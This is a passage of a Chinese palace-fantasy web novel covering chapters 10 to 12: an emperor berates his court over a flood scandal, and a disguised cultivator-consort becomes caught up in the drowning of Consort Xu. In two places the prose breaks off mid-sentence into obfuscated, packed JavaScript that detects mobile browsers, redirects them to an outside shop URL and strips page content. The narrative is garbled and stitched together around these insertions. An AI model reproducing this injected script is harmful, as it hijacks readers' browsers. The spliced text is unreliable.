一睁眼就看到奚萦那张可恶的脸,景辰哀嚎一声,立即闭眼,开始自我催眠:“这是梦,这是梦,该醒了,醒了就不用见到这疯女人了……” 小白狗富贵儿被叫出来后,只看了奚萦一眼就立马消失了,那眼神中满是嫌弃、恐惧、不敢置信,给奚萦气笑了,狠狠敲了敲剑柄的狼头,终究还是放了他一马。 今晚也算是收获不小,试出了富贵儿的潜力,好好操练操练这家伙,危急时刻强行逼迫一番,还是能派上大用场的。 奚萦喜滋滋,哼着小曲儿踏着月色飞回了皇宫。 10. 狗狗的屁股也摸不得(已修) “滚开!混蛋,你们找死——” “陛下,陛下……” 景辰猛然睁开眼,对上一双满是关切的小眼睛。 金内侍轻声问:“陛下,您可还好?是头疾又犯了吗?” 景辰松了口气,抬手捂住额头,摸了一手的冷汗,他攥紧薄被,调整呼吸,等那种被鬼气包裹的冰凉刺骨感觉消散后,才哑声问道:“什么时辰了?” “寅时三刻,陛下可要起了?” 今日有朝会,是该起了。 景辰点点头坐起身,怔怔盯着自己的手出神,反复在脑海中跟自己确认,这是一双人的手,不是狗爪子。 金内侍察觉到景辰的状态有些不好,但他已经习惯了,这位主子哪天状态好了才是奇怪,比如昨天。 他若无其事地指挥着小太监们伺候景辰更衣梳洗,早膳也摆好了。 景辰今天也没有头疼,这是个好兆头。 但头疼跟给人当狗、跟老虎赛跑、和鬼贴身肉搏这些破事比起来,景辰一时也不好说哪种更痛苦,比如现在,他稍微呼吸重一点就仿佛还能闻到那种腐败阴冷的味道,实在没胃口吃东西,只喝了半盏茶,便匆匆去上朝了。 自头疾加重后,景辰已经近四个月未曾上朝,日常政务大半交由宣王及六部尚书共同处理,他只偶尔召见几位近臣过问军政大事,比如此次的江南水患。 幸而大雍王朝承平数百年,水患虽严重却远不至于动摇大雍根基,先帝也是一代明君,骤然驾崩也并未出什么大乱子,还给景辰这棵独苗留下了极厚实的家底,这也是景辰病重朝局却依然安稳的主要原因。 当然,景辰自认为还算是个勤政爱民的好皇帝,病得再重也未将政事彻底丢开,如今大好了,自是要尽快复朝处理水患之事,该查的查,该办的办。 龙辇抵达含元殿时,景辰已经盘算好了如何收拾底下那帮蠢货蠹虫。 五凤楼上钟鸣声起,文武百官进入大殿,行过叩拜大礼后,久违的早朝终于开始了。 景辰不是个拖泥带水的性子,群臣行过大礼之后便准备开门见山直接算账了,结果目光往底下一扫,已经到了嘴边的骂人话竟生生卡了壳。 无他,这满殿含泪又带笑的殷殷目光,期盼中又不乏焦急的老脸,怎么都那么像金内侍啊! 景辰已经猜到这些老家伙接下来要说什么了,他心里没来由地升起一阵烦闷,而他陡然卡壳的这一瞬间,也给了诸位金内侍发挥的机会。 果不其然,须发皆白的宗正寺卿惠郡王率先出列,抹着泪颤巍巍道:“陛下大好,龙体安泰,实乃天佑我大雍啊!自陛下病后,老臣夜不安枕食不知味,几欲追随先帝而去,奈何不曾得见大雍国祚延绵,江山后继有人,老臣有负先帝所托,不敢闭眼,总算撑到今日,如今老臣别无所求,只盼陛下早立中宫,为我大雍开枝散叶……” 老家伙着实啰嗦,声泪俱下讲了一箩筐,景辰听到“早立中宫”便开始走神了,他在脑子里努力搜刮惠郡王的把柄,打算丢出来堵他的嘴。 惠郡王这一支,可以算是景氏皇族中“早生”的代表了,惠郡王的祖父惠王乃是永兴帝长子,先帝隆庆帝长兄,十五岁时生下世子,四年后惠王病逝,膝下只这一根独苗,永兴帝心痛长子早逝,特许其独子袭亲王爵,十岁便被封为惠王。 小惠王也在十五岁时生了惠郡王,然后就走了自己父亲的老路,刚满二十便撒手人寰,同样只留下惠郡王这根独苗。 惠郡王倒是比他爹和他爷爷身体好,平平安安活到了五十六岁,但他膝下女儿足有二十三个,儿子却一个没有,这也导致他一把年纪了还不断往府中抬姬妾,拼了老命也要拼个儿子出来。 惠郡王不仅自己热衷于生儿子,也极其热衷于给自己的皇帝堂叔、宣王堂爷爷张罗生儿子的事,有时候景辰都想劝劝自己这老侄子,看看你爹跟你爷爷,生了儿子就没了啊,再看看你自己,健健康康活到了五十六,这是为何?因为没儿子啊! 多么显而易见的事,你自己眼瞎看不明白,竟还非要劝你堂叔和堂爷爷早日走上这生儿子的不归路吗? 不过这惠郡王除了喜欢啰嗦生儿子的事,也没别的大毛病了,品行能力都还过得去,宗正寺卿这位置也着实捅不出大篓子来,景辰想了半晌竟也没想出一个能立马震慑住这老侄子的把柄。 惠郡王说得唾沫横飞风生水起,不仅堵了景辰的嘴,也将宣王吓得直往金柱后面躲,生怕大孙子下一个就念到自己头上来,他甚至还偷偷给御座上的景辰递了个无可奈何的眼神。 礼部侍郎潘良也不甘落后,趁着惠郡王喘气儿的功夫插嘴道:“惠郡王所言甚是,陛下已是及冠之年,如今龙体大安,是该早日立后,绵延子嗣以安国本,告慰先帝在天之灵。” 他话音刚落,众臣纷纷响应,翻来倒去就一个意思:立后,生孩子。 景辰烦得不行,他不是不能理解这些老家伙的担忧,大雍自他皇祖父永兴帝这一代起,子嗣便格外单薄,他老人家总共三个儿子,惠王这一脉连续两代早夭,如今更是要绝嗣了;先帝隆庆帝这一脉也夭折了好几个皇子公主,最终只剩下景辰这一根独苗,还是个身体不好的;还有一个老来子宣王,如今年近而立膝下仍旧空虚。 景氏皇族其他旁支子嗣也是凋零,这大雍江山承平数百年,眼看着要后继无人了,文武百官们怎么可能不急? 但理解归理解,作为当事人的景辰病得要死不活的时候被催生,刚好些了又被催生,换谁心情能好? 何况被催生的皇帝陛下刚当了一晚上的狗,被老虎追被鬼打,窝了满肚子火无处发泄,正等着人主动送上门来给他收拾。 景辰上半身稍微往后靠了靠,嘴角勾起一点嘲讽的笑意,右手食指轻轻点了点御案。 侍立于旁的金内侍立马看懂了这个暗示,从小太监那里端来一盏茶递到景辰手中,立马退回原位,兴致勃勃等着看好戏了。 果然,景辰接过茶盏后,直接往御座前的金柱上砸去。 “咔嚓”一声脆响,茶盏撞得粉碎,正在激情发言的御史洪渐倒了霉,被迸溅开来的碎瓷片砸到额角,一缕血丝渗出,混杂着强挤出来的眼泪,这下真成“血谏”了。 景辰忽然发作,将直言极谏的诤臣们吓成了缩脖子的鹌鹑,洪渐更是要哭不哭的卡在那儿,模样十分滑稽。 摔了茶盏的景辰却并未大发雷霆,反而笑眯眯地对洪渐道:“洪爱卿的话在理!嗯,你是想让朕立你大外甥女为后对吧?也行,就她吧,沈爱卿赶紧操办起来,你是礼部尚书,想必定然不会亏待了自己亲闺女,定要办得风风光光举世瞩目才行,顺便再大赦个天下,如何?” 有时候天上掉馅儿饼并非是什么好事,尤其是这馅儿饼太大太结实的时候,一不小心就能砸死人。 景辰这番话就是个实心大馅儿饼落在沈唯清头上,自己女儿若真能当上皇后,说不高兴那肯定是假的,可沈唯清又不是傻子,怎么可能听不出景辰的阴阳怪气,所以他就算盼女儿当皇后盼得眼睛都红了,也不敢这么大喇喇地用头接馅儿饼,他赶紧出来推辞:“小女才疏学浅,恐怕难当国母重担,还望陛下三思啊。” 沈家三姑娘乃是名满雍都的才女,否则也不会被先帝钦点为太子妃人选之一,可惜先帝去得突然,尚未正式定下名分,景辰登基后无心于此,被这些大臣烦得不行才同意将人接入宫中,却十分吝啬地只给沈姑娘封了个嫔位。 沈唯清对此耿耿于怀,虽然听得出景辰这时候在说气话,但万一是真的呢?所以他也不忍心谦辞太过,让景辰顺杆子换人选,因此挑了个恨不得全天下都能看出的破理由来假谦虚一番。 景辰闻言冷笑,但凡沈唯清说自己女儿身体不好,他都能信了他的邪。 也有人同样不想这大馅儿饼轻易落到沈家,一名张姓御史站出来道:“一国之后母仪天下,皇后凤体康健与否事关国祚,望陛下三思。” 景辰想翻白眼了,身体好的皇后,身体多好,能徒手打虎那种吗?想屁吃呢老东西! “张爱卿所言在理,依朕看,还是定国公家的孙女合适,将门虎女,想必身体十分康健,且当年母后与定国公世子夫人乃至交,也曾许诺姻缘交换信物,那就立宁家姑娘为后吧。” 这张嘴就来的态度,随意瞎说的人选,让不少心思敏捷的大臣意识到皇上是准备找茬了,不少人明智地选择了闭嘴,但也有不明智的人非得往刀口上撞。 张御史就不是个明智的人,他继续劝谏:“万万不可啊陛下!定国公府未出阁的两位姑娘一个三岁,一个四岁,怎能为皇后!” 景辰向他投过去一个看傻子的眼神:“朕说的当然是定国公世子长女,宁家大姑娘。” 张御史脑子转得既快又不快,他脱口道:“宁家大姑娘十八年前就过世了——” 话音未落,立马有人跳出来大骂道:“闭嘴!小女只是失踪!张明之你要再敢信口胡说诅咒小女,我绝对不会放过你!” 开口骂人的正是定国公世子,他还不到四十岁,却像是棵饱经风霜的老松,头发花白神色憔悴,他红着眼睛站在定国公身边,两人仿佛是同龄人一般。 这事说来也令人唏嘘,定国公世子宁嘉屹当年也是名满雍都的俊俏郎君,与夫人更是琴瑟和鸣的一对璧人,可惜天有不测风云,十八年前,宁嘉屹奉命驻边,世子夫人带着两岁的宁大姑娘回阳城探亲时遭遇山洪双双遇难,尸骨无存。 宁嘉屹痛失妻女,整个人都疯魔了,直接抗命回京寻人,若非定国公在宫门外跪了一天一夜苦苦求情,他早被隆庆帝砍了脑袋。 当年山洪来的突然,宁少夫人母女及随行侍从猝不及防之下被尽数冲走,事后只找到些零碎衣物首饰,宁嘉屹这些年始终坚信妻女还活着,耗费无数人力财力满天下地找人,可惜却一无所获,妻女是宁嘉屹最大的软肋,但凡有人敢在他面前提什么节哀、续弦之类的言辞,都会惹得他暴怒。 张明之口不择言,当面说宁大姑娘“过世”,那简直是捅了马蜂窝了,若非在金殿之上,宁嘉屹的拳头已经落在他脸上了。 至于景辰说太后与宁少夫人乃至交,曾许诺姻缘,这也是事实,但宁大姑娘失踪十八年,除了宁嘉屹没人相信她还活着,景辰这时候扯什么立宁大姑娘为后,那纯粹就是瞎扯淡了。 宁嘉屹气得差点当场打人,一直安静站着的定国公不得不出声制止:“三郎,不得君前失仪。” 宁嘉屹狠狠瞪了张御史一眼,收敛情绪重新站好,却梗着脖子不吭声。 妻子当年与太后的约定他是知道的,在他看来,女儿本就是名正言顺的皇后人选,皇帝既然主动提了,不管是幌子还是认真的,他都没什么好推辞的,他宁嘉屹可不是沈唯清那种虚伪的家伙。 见他们不吵了,景辰意味不明地笑笑,悠然道:“宁爱卿相信宁大姑娘尚在人世,朕也相信,不如这样吧,宁爱卿去将宁大姑娘,大雍未来的皇后给找回来,人找回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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群臣再次大呼“不敢”,景辰却不会这么轻飘飘两句揭过,他顺手薅过一方白玉镇纸,将御案敲得啪啪作响:“孙济民,沅江岁修经费从三年前的三百三十七万两白银一路涨至去年的六百二十万两白银,你眼都不眨就批了,这银子花哪儿去了,为何涨的,是河道淤泥越疏越多,还是筑起的堤坝年年推了重建?还是你家孙安民、孙维、赵志德这几家小妾孩子养太多,费河道银子呢? 李丰年,你更好了,派去嘉余县工部的饭桶是闭着眼睛督建河堤的是吧?工部上下尽是些老眼昏花的饭桶,你们不如趁早回乡下种田去! 齐峻,嘉余、庆民两县县令考绩连续三年上等,工部水司使、河务丞都是你举荐上来的贤臣,你可真是慧眼独具啊,不把大雍犄角旮旯的废物东西尽数提拔上来你就不甘心是吧? 还有你,高骞,好好看看你御史台这些蠢货,嘉余、庆民两县几十万灾民食不果腹衣不蔽体,你不盯着户部调拨赈灾钱粮,不盯着工部上下公饱私囊,不盯着吏部任人唯亲,一天天的就只盯着朕的后宫,你那两只死鱼眼睛剜下来喂狗狗都不吃!” 这噼里啪啦一通骂完,户部、工部、吏部、御史台尽数遭殃,含光殿内落针可闻,被点名的几位尚书、御史中丞更是吓得两股战战差点当场哭出来。 景辰并未直接将此次沅江水患之事定责,但话里话外就一个意思,六部主官全都失职!无论之后查出具体哪个环节出了问题,被点名的几人都跑不了。 景辰不是个好脾气的主,这是满朝文武皆知的,但他也绝对不是个暴戾的皇帝,如今的坏脾气也不过是饱受头疾折磨所致。 他从前便不耐烦朝臣催他立后纳妃,可多催几次他也就妥协了。 今日也是如此,沅江水患之事暂时稳住,大家都不想景辰在难得一次的朝会上追究此事,于是默契地选了个最安全的话题,试图将早朝拖延过去,亦或是说得景辰不耐烦了,说不定真就松口立后,立后可是大事,焦点一转移,水患这口大锅也可以慢慢化小锅,大家分着背一背,如此皆大欢喜。 可惜他们算错了,景辰今天身体倍儿棒心情极差,以往骂两个字就脑瓜子嗡嗡疼开始不耐烦,今天硬是骂了几大段都不带喘气儿的。 气儿是不喘,但口有些干,先前两盏茶都摔了,景辰有些无奈地敲敲手指,示意金内侍再上盏茶。 金内侍的聪明劲儿有时候用不对地方,比如此时,他以为景辰又要摔茶盏了,于是贴心地送了个空杯子上去,示意他放心摔,不用担心烫着手。 拿到空杯子的景辰是真的无语,脸一沉吩咐道:“宋泊简,严明书,高骞,限你们半个月内查清此次沅江溃堤始末,宁启川治军不利,免其姚州都尉之职,即刻回京,周致远,尽快拟定姚州都尉人选报与朕。宣王留下,退朝吧。” 将追查沅江水患一事交由三司彻查,再撸下宁家三房姚州都尉一职后,景辰直接回了蓬莱宫,留下满殿文武大臣们面面相觑。 今天最大的倒霉蛋要数定国公了,宁家作为开国元勋,传承数百年不倒,如今仍旧牢牢把控着大雍三成军力,说好听点是大雍第一世家豪门,说难听那就是功高震主,但能在这个位置上安稳百年的世家,定然有其过人之处,比如这一代的定国公宁闻川,别的不说,他是极懂进退之道的。 儿子和堂弟一起丢了官帽,宁闻川除了一开始脸色难看了些,后来连眼神都没波动一下,此时退朝了,亲信故交纷纷上前询问,个个面色忧惧,他仍旧只是温和一笑,谢过大家的关心,带着神游天外的儿子宁嘉屹直接出宫回府了。 有了定国公做对比,另外几个被点名骂了的尚书、御史中丞、大理寺卿心里平衡了不少,好歹他们没丢官没挨罚呀,皇上只说要查沅江水患之事,那就还有很大的运作空间,仔细筹谋一番,大有可为! 大臣们各自打着算盘,也没更多的心思寒暄,很快便各自散去。 11. 风起雨至(已修) 景辰骂完这一通,无论是当狗的火气还是被催生的火气都消得差不多了,在蓬莱宫外书房见到宣王景行之时,他甚至露出了一点笑意。 这点笑意让原本以为自己要单独挨骂的景行之略怔了怔,行完礼后,又将盘腿坐在榻上悠闲喝茶的景辰仔细打量了一番,跟着笑道:“陛下的头疾果然大好了吗?” 景辰指了指对面的位置,示意景行之坐下,亲手倒了杯茶给他,温声道:“昨天和今天都没再犯,但愿是大好了吧。三叔应该猜到朕单独留你是为何吧?” 景行之将举到唇边的茶盏放下,无奈道:“您这一开口就叫三叔,那准是有难事,我都不想猜了。” 见他如此,景辰的语气不自觉带上几分少年人的轻快:“若非此事艰难,又怎会劳烦三叔,您能者多劳,就帮帮侄儿吧。” 景行之连连摆手:“您快别给我戴高帽子了,我害怕。是姚州流民作乱的事对吧?您撤了宁启川都尉之职,又把宁嘉屹赶出雍都,这是要收拾宁家了?” 景辰只是摇了摇头,没有立即回答景行之这个问题,抬头看了眼窗外,修长的手指轻点在白瓷茶盏上,一下又一下,像是下意识在和着心跳的节奏。 阳光透过银杏树叶洒落下来,在地上印出了斑驳的影子,今日万里无云,景辰心中却升起几分阴霾。 许久之后,他才低声道:“三叔,你还记得父皇驾崩那天晚上发生的事吗?” 景行之的脸色瞬间苍白,跟景辰如出一辙的瑞凤眼中闪过一丝惊恐,张了张嘴却没能发出声音。 景辰见他有些失态,不由得苦笑一声,再开口时语气中带着几分茫然和脆弱,下意识换了自称:“父皇不让我动宁家,可宁闻川到底在‘厄渊’做了什么,‘日坠北城,星起厄渊’到底是什么意思,所谓的‘厄渊’又是在哪儿,我有生之年总得查出来才行,父皇只有我这一个儿子,我不能让他死得不明不白的。” 景行之的情绪已经收敛,但语气里还是带着紧绷的暗哑:“所以,陛下认为‘厄渊’就在姚州吗?” 景辰再次摇头,眼中浮起迷惘之色:“我不知道,三叔,我也不知道啊……父皇留下遗命让宁闻川去‘厄渊’,可他这两年一直待在雍都哪儿都没去,宁家上下个个老实得像乌龟,唯独这次姚州民变,宁启川一开始竟然没守住!三叔你信吗,将北戎人杀得退避千里的宁启川,竟然败给一帮饭都没吃饱的流民?何况嘉余、庆民两县决堤是在五月二十,姚州流民破城是在五月二十三,短短三天时间,嘉余、庆民的流民不仅赶到了姚州,还成了气候攻破了城门!呵,他们这是拿我当傻子呢!” 景行之长叹一声:“我知道,我知道的……可是宁家毕竟树大根深,先帝又有遗命不让动宁家,陛下还是谨慎些为好,今日一口气免了宁启川和宁嘉屹的职,会不会太过冒进了?” 景辰冷笑一声:“朕就是要冒进,不然让他们一直这样当乌龟吗?三叔,这件事关系到父皇驾崩的真相,知情者除了宁闻川便只有你我,朕只能托付给你了,辛苦你暗中往姚州去一趟,看看他们到底在搞什么鬼。” 景行之也不再推辞,点头应下,随即又有些犹豫地开口:“有件事恐怕得劳烦陛下……” 景辰一看他的表情就猜到他要说什么,调侃道:“三叔放心,侄儿一定帮你照看好三婶,就算是外面的苍蝇也休想飞进宣王府去。” 景行之被打趣,不免有些赧然,轻咳一声才道:“岁洵身体不好,见不了外人,这事儿您也是知道的,我就是怕有人趁我不在打扰她,所以,所以就有劳陛下了。” 景辰摆手:“可别跟朕客气了,姚州的事还要有劳三叔呢。” 岁洵是宣王侧妃,因其生于乡野又体弱多病,当初隆庆帝便不同意景行之娶她为妻,奈何景行之一往情深,硬是在蓬莱宫外跪了三天三夜,最终逼得隆庆帝松口,将岁洵纳为侧妃,这些年来景行之也坚持不肯娶正妃,一心一意守着岁洵。 景辰跟景行之虽是叔侄,年纪却只相差八岁,且两人从小一起长大,感情深厚,与其说是叔侄,实则更像兄弟,更是至交好友,景行之这些事景辰自然清楚,故而才称岁洵为“三婶”。 商定了姚州之事,景辰又留景行之下了盘棋,两人交情本就好,加上景辰头疾痊愈,憋了几个月的话没处说,难免拉着景行之多聊了会儿,这一聊就聊到午时,叔侄俩再一起用个午膳,整个蓬莱宫都洋溢着其乐融融的氛围。 可惜这般温馨的亲友相聚场景,落在想参与却被拒之门外的许美人眼中,就怎么看怎么扎眼了。 没错,许美人又来了。 这次金内侍都懒得再替她传话,直接将人劝走:“陛下正跟宣王殿下商谈正事,恐怕无暇见许美人,您改日再来吧。” 许美人目光深深地望了蓬莱宫一眼,转身离开。 * 蓬莱宫与长夏宫相距甚远,许美人的品级又太低,没资格在宫中用轿辇,这几天都是顶着烈日徒步往返于两宫之间,如此辛苦也便罢了,还次次无功而返,许美人没说什么,但她的贴身宫女银霜却很是替自家主子不平。 待走远了些,银霜便忍不住抱怨道:“这金内侍实在欺人太甚,之前见咱们美人得了皇上赏赐便舔着脸说尽好话,如今翻脸不认人,竟是连通传递话的分内之事也敢推脱了!” 许美人明艳的脸上没有任何表情,像是根本没将银霜的抱怨听进去,她一路神游天外回到长夏宫,刚好遇见替奚萦取药回来的孙胡。 孙胡恭恭敬敬行了礼就准备离开,却被许美人叫住了。 “孙公公,沈姐姐今日可还好?我想去看看她,不知方便与否?” 孙胡已经习惯了这位许美人的热络,虽然奚萦十次有九次都是不见,但他却不敢替自家司主做主,于是恭声答道:“奴才这就去问问我家娘娘,还请许美人稍等片刻。” 许美人笑着点点头,跟着孙胡一起去往长夏宫正殿。 奚萦这时刚起,听孙胡说许美人又来了,她本是不想见的,但这许美人吧,还真是宫里难得一见的活络人,不像蓬莱宫和长夏宫这两个真假病秧子和储秀宫的透明才人,她天天顶着暑热东奔西走,说不定路上就遇见点奇奇怪怪的事呢。 这样一想,奚萦立马就有兴致见许美人了,装病着实挺麻烦,于是她今天改装病情大好,亲自去正殿会客。 许美人依然美得明媚张扬,见了奚萦更是笑得极热情:“呀,沈姐姐竟能下床走动了,这是大好了吗?妹妹真是替姐姐高兴啊!” 这热情中透着点虚假的语气,恰到好处的灿烂笑容,看上去似乎跟往日并没有什么不同,奚萦却总觉得今天的许美人有些不对劲。 具体哪儿不对劲她也说不上来,就是一种很细微的感觉。 奚萦略顿了顿,很快也笑道:“托许妹妹的福,今日确实好了不少。妹妹快请坐吧,孙胡,去给许美人沏一杯白牡丹来,用我带进宫的新茶,放在多宝架第三层的陶瓷罐子里。” 多宝架第三层的罐子里放的可不是普通茶叶,而是奚萦从无损阁的封狐狸那儿顺来的瑶台仙芝,名字虽浮夸了点,但的确是好茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232549|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凡人喝了也能祛秽净心强身健体。 甭管这许美人是哪里有古怪,喝点灵茶总归是好的。 孙胡很快按照奚萦的吩咐端了茶给许美人,许美人却只浅尝一口便放下了。 她今天好像格外热情,拉着奚萦从时新的衣裳首饰聊到吃食消遣,连长夏宫的蔷薇和御花园的荷花哪个好看也能掰扯半天,聊到后来,奚萦都忍不住开始打呵欠了,这许美人似乎还没聊够。 这又是唱的哪一出啊? 奚萦困得眼角泛泪,正打算使个水遁之术结束这场应酬,却听许美人幽幽道:“这世上有趣的事儿太多了,沈姐姐若是病好了,一定要出去看看,不要将自己的心困在不值得的地方。” 奚萦一下就精神了:“许妹妹这话是何意?” 许美人抬起头,嘴角勾起的弧度恰到好处,清凌凌的眼眸中却没有笑意,她轻声道:“只是有感而发,说了两句胡话罢了,姐姐信的话可以听一听,不信的话,就当妹妹在瞎说吧。” 奚萦更摸不着头脑了,但没等她细问,许美人已经起身告辞:“今日叨扰姐姐了,时辰不早,姐姐快回去休息吧,妹妹改日再来看望。” 奚萦只好起身相送,想了想又安慰她:“许妹妹若遇到什么难处,不妨跟我说说,虽然不一定能帮上忙,但多个人出出主意也是好的。” 许美人笑着点点头,末了又道:“多谢姐姐的好茶,妹妹不懂茶道,浪费了你一片心意,还请姐姐见谅。” 她说完便快步离开,留下奚萦一头雾水站在原地,看看那杯几乎没动过的瑶台仙芝茶,又看看许美人袅娜的背影,搞不懂,真的搞不懂。 奚萦琢磨了片刻,吩咐孙胡:“你去盯着许美人,小心别被她发现了。” 孙胡应下,正要离开,奚萦又补充道:“护她安全为重,有什么问题立即回报。” 目送孙胡出门,奚萦叹了口气,带着满脑子疑惑回到寝殿,开始今天的修炼。 或许是因为心里装着事,今天修炼非常不顺,磕磕绊绊行气两个周天后,却始终无法入定,奚萦只好暂时停下,琢磨点别的。 比如,给富贵儿制定更周密的修炼计划。 这狗怕脏、怕鬼、怕老虎,好像还有点怕自己,啧,就没有他不怕的东西啊! 剑法倒是极好,若能早日修成人形就好了,唉! 至于胆小这个问题嘛,要不抽空去封狐狸的私库里给他偷一本修炼胆魄的功法?就是不知道世上有没有这种功法…… 或者扔到孽镜堂的水牢里关个一年半载,狠狠吓他一遭,吓习惯了或许就好了…… 各种魔鬼修炼法争先恐后地从奚萦脑海中冒出来,她越想越兴奋,索性找出纸笔,用她的狗爬字一条条记下来。 时间不知不觉溜走,转眼又到日暮时分,奚萦手边已经攒了厚厚一叠“废狗修炼计划”,她写完最后一条,十分满意地吹了吹未干的墨迹,唤道:“孙胡,孙胡,帮我拿些浆糊来。” 应声的却不是孙胡,而是小穗:“娘娘,孙公公不在,奴婢帮您去拿浆糊吧。” 奚萦这才想起孙胡被她派去盯着许美人了,她挥挥手示意小穗快去,转头看了眼窗外天色。 不知何时起风了,晚上说不定会下雨,奚萦小嘀咕:“今晚先去宣王府见见发财,再带富贵儿去城外义庄,下雨正好,雨夜义庄,可怕……” 小穗回来得很快,却没有拿浆糊,她跌跌撞撞闯进寝殿,惨白着脸,颤声道:“娘娘,不、不好了,孙公公他,他们说,说孙公公杀了许美人……” 12. 皇上,该起来加班了(已修) 奚萦大惊:“许美人,死了?” 小穗哭得一把鼻涕一把泪:“说是,说是死了……” 奚萦将手中的“修炼计划”往抽屉一扔,快步朝外走去,刚走出殿门就碰到匆匆赶来传旨的金内侍。 金内侍面沉如水,见到奚萦立马行礼,恭声道:“陛下有旨,请沈嫔娘娘即刻前往朝露殿。” 他说完招招手,几个健壮的太监抬着一幅肩舆上前请奚萦落座。 小穗吓得六神无主,慌乱扯住奚萦衣袖,哆嗦道:“娘娘,这是,您,您别去……” 奚萦见到肩舆反倒松了口气,若直接给她和孙胡定了罪的话,不至于还伺候得这么周到,她拍拍小穗的手轻声道:“没事的,别怕,你们守好长夏宫,不必担心我。” 在小穗惊惧惶恐不安的目光中,奚萦上了肩舆,跟着金内侍往朝露殿去。 朝露殿是御花园东边莲池畔一座无人居住的宫殿,离长夏宫尚有一段距离,奚萦趁着这空档向金内侍打听情况。 “金内侍可知究竟出了何事?许妹妹她,她今日午间还好好的,怎么忽然就……” 金内侍也是一头的包,闻言叹道:“回娘娘的话,方才巡逻的羽林卫来报,说许美人在莲池落水,陛下闻讯赶到时,许美人已没了气息,她的宫女银霜指认孙胡推许美人下水,孙胡坚决否认,两边各执一词,陛下便让奴才接娘娘过去,毕竟孙胡是您的人,这事儿总得听听您的说法。” 奚萦大概懂了,许美人和她同住长夏宫,今天中午又见过一面,许美人莫名其妙死在莲池,恰好孙胡又在场,恐怕两人之间的确还有过拉扯,若是这一幕恰好落进银霜眼中,确实有些说不清楚了。 还有这许美人也是奇怪,今天中午那句没头没脑的劝告,如今想起来竟有些像遗言,她到底是自己想不开寻死,还是遇到什么难事了? 按理来说,她在这宫里虽然品级低且不得皇帝宠爱,但后宫三人都一个样,也没有底下人逢高踩低一说,至少在吃穿用度上许她是没有受到苛待的。 要说不顺心,最大的不顺心应当就是被皇帝冷落无视,伤情之下,才会劝她“出去看看,不要困在不值得的地方”,莫非她竟是因为这个缘故想不开? 许美人死因成迷,更糟糕的是,自己和孙胡的身份也有问题,她说派孙胡去盯着许美人并无恶意,甚至是为了保护她,这话谁能信? 她若是皇帝她都不信。 但在这种情况下,越是撒谎越是可疑,何况孙胡这老实猴,恐怕一撒谎就得露馅儿。 好在自己顶替的这位沈姑娘有个当尚书的爹,想来不至于一言不合就打杀了她身边之人,若是如此,她也只能强行带孙胡跑路了。 跑路倒是不难,宫中路她早就摸熟了,就是白费了这半个月的功夫,而且以后再想潜入皇宫肯定就难了,还会拖累沈姑娘。 总之,先尽量想办法保住孙胡、洗清嫌疑,实在不行就跑路。 定下稍后的行动计划,奚萦心中安稳下来,不一会儿便到了朝露殿。 朝露殿外密密麻麻围了许多羽林卫,有不少太监宫女们在进出忙碌,不知是被许美人的惨死吓的还是被皇帝的怒火吓的,所有人都屏息敛声轻手轻脚,唯有一道哀戚的女子哭声时不时传出,散入风中。 奚萦下辇时已经将自己调整成病弱沈姑娘的状态,在金内侍的搀扶下缓步入内。 步入正殿后她第一眼就看到了坐在上首的年轻男子。 嚯,果然生了副祸水模样! 饶是时机场合都不对,奚萦也忍不住在看到景辰那张俊脸时悄悄发出这样的感叹。 那人穿一身月白色滚金边龙纹常服,坐姿不算太端正,却仍能看出他肩宽腰窄身形修长,细看那脸,轮廓分明鼻梁高挺,肌肤瓷白细腻,唇色略有些浅淡,此时他长眉微蹙,双目半阖,修长的手指抵在太阳穴上,像是头疼,又像是在按捺怒火。 金内侍出声提醒道:“陛下,沈嫔娘娘到了。” 景辰睁眼,看向金内侍身旁的奚萦。 奚萦也正好在看他,原本只是感叹这小皇帝真俊俏,不期然对上那双暗藏星芒的瑞凤眼时,她心中忽然升起一种莫名的熟悉感。 还没来得及探究这熟悉感从何而来,奚萦就看到那双瑞凤眼的主人眉头蹙得更紧了些。 啊,该给皇上行礼了! 奚萦连忙收敛思绪低头行礼:“臣妾见过陛下。” “免礼。” 四目相对的刹那,景辰其实也有同样似曾相识之感,但他正为许美人的死烦心不已,没有去深究这点细微的感觉。 他本想直奔主题询问沈嫔和许美人之间的纠葛,目光一动,却见下方行礼的女子身姿纤弱,脸色也白得过分。 景辰这才想起沈嫔是个病秧子,质问的话到了唇边又被他压下去,略顿了顿,他有些无奈道:“给沈嫔赐座。” 对待病秧子,他还是有几分同病相怜的,何况也还没定罪,万一待会儿多问几句,将这柔弱不堪的沈姑娘给吓晕了就不好了。 很快便有太监给奚萦搬来了椅子,顺便还奉了杯茶。 这样的优待落在“苦主”眼中可就扎心了,奚萦刚坐下,原本已经被人拉到侧间的银霜忽然冲了出来,普通一声跪下,大哭道:“皇上,奴婢求皇上给许美人做主啊!美人她今日见过沈嫔后就神思不属,如今更是被沈嫔的人亲手害死!皇上,许美人死不瞑目啊,求您严惩凶手!” 奚萦看了银霜一眼便收回目光安静坐着,等上头的皇帝发话。 景辰被这尖利的哭喊刺得太阳穴突突跳,头疾隐隐有发作的趋势,他压着火气道:“将长夏宫那个小太监带上来。” 很快,孙胡被两个羽林卫带了上来,他衣衫半湿发髻散乱,裤腿衣袖上沾了不少泥,表情有些惶恐,见到坐在景辰下首的奚萦时,目光骤然亮起,小声唤了句“娘娘”,却不敢多说什么。 奚萦知道这猴子胆小,借着喝茶的动作遮掩冲他眨了眨眼,示意他别怕,孙胡果然放松下来,老老实实跟着羽林卫上前跪下行礼,等着景辰问话。 景辰先问银霜:“许美人为何会独自去莲池?” 